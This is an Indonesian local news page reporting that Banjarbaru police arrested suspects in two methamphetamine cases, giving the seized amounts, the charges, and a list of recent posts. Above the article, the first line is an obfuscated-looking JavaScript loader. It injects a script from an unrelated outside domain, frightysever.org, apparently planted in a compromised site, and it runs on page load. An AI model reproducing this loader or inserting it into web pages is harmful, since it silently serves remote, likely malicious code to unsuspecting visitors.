(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Resnarkoba Banjarbaru Ringkus 5 Terduga Pemilik Sabu


BANJARBARU, Dua orang pelaku narkoba diringkus Satuan Reserse (Satres) Narkoba Polres Banjarbaru di lokasi berbeda.

Berawal pada pengkapan pada Senin (2/12) malam sekitar pukul 22.00 Wita, petugas melakukan penangkapan di Gang Buntu Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Kota Banjarbaru.

Pelaku berinisial DK (37), warga jalan Pelangi Sungai Ulin, Kota Banjarbaru tidak berkutik saat diringkus. 

Tidak berhenti sampai disitu, penangkapan yang dipimpin Kasatres Narkoba Polres Banjarbaru AKP Elche kemudian terus lakukan pengembangan. Hingga berhasil menangkap AL (34), warga Komplek Rizky Manunggal Sungai Ulin, Kota Banjarbaru.

Kapolres Banjarbaru AKBP Doni Hadi Santoso melalui Kasubag Humas Polres Banjarbaru AKP Siti Rohayati membenarkan kejadian tersebut, dari kedua tersangka didapatkan dua lembar plastik klip yang didalamnya terdapat narkotika jenis sabu-sabu dengan berat kotor 0,45 gram dan berat bersih 0,07 gram beserta timbangan digital.

“Petugas juga berhasil menyita barang bukti lainnya, selanjutnya petugas Satres Narkoba membawa kedua orang tersebut ke Mapolres untuk proses hukum lebih lanjut,” ucap AKP Siti.

Sebelum kejadian itu, Kasubag Humas Polres Banjarbaru menceritakan bahwa juga ada pengungkapan peredaran narkoba di salah satu workshop di Landasan Ulin, Kota Banjarbaru.

Seorang laki-laki dengan inisial IR (28) warga jalan Sejahtera Landasan Ulin, Kota Banjarbaru diamankan petugas. Hasil pengembangan, M (43) dan B (38) ditangkap di jalan Tembus Mantuil Kelurahan Basirih, Kecamatan Banjarmasin Selatan. 

“Dari tangan kedua orang tersebut petugas berhasil menyita 13 plastik klip yang di dalamnya berisi sabu dengan berat kotor 4,38 gram dan berat bersih 1,91 gram serta alat hisap sabu,” terangnya.

Selanjutnya, Siti Rohayati menambahkan ketiga orang tersebut digiring ke Mapolres Banjarbaru guna proses hukum lebih lanjut.

“Para tersangka narkoba akan dikenakan UU RI Nomor 35 Tahun 2009 tentang Narkotika, sebagaimana dimaksud dalam Pasal 114 ayat (1) Sub Pasal 112 ayat (1) dengan ancaman hukuman 5 tahun penjara,” pungkasnya. (rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

25 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

50 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

1 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.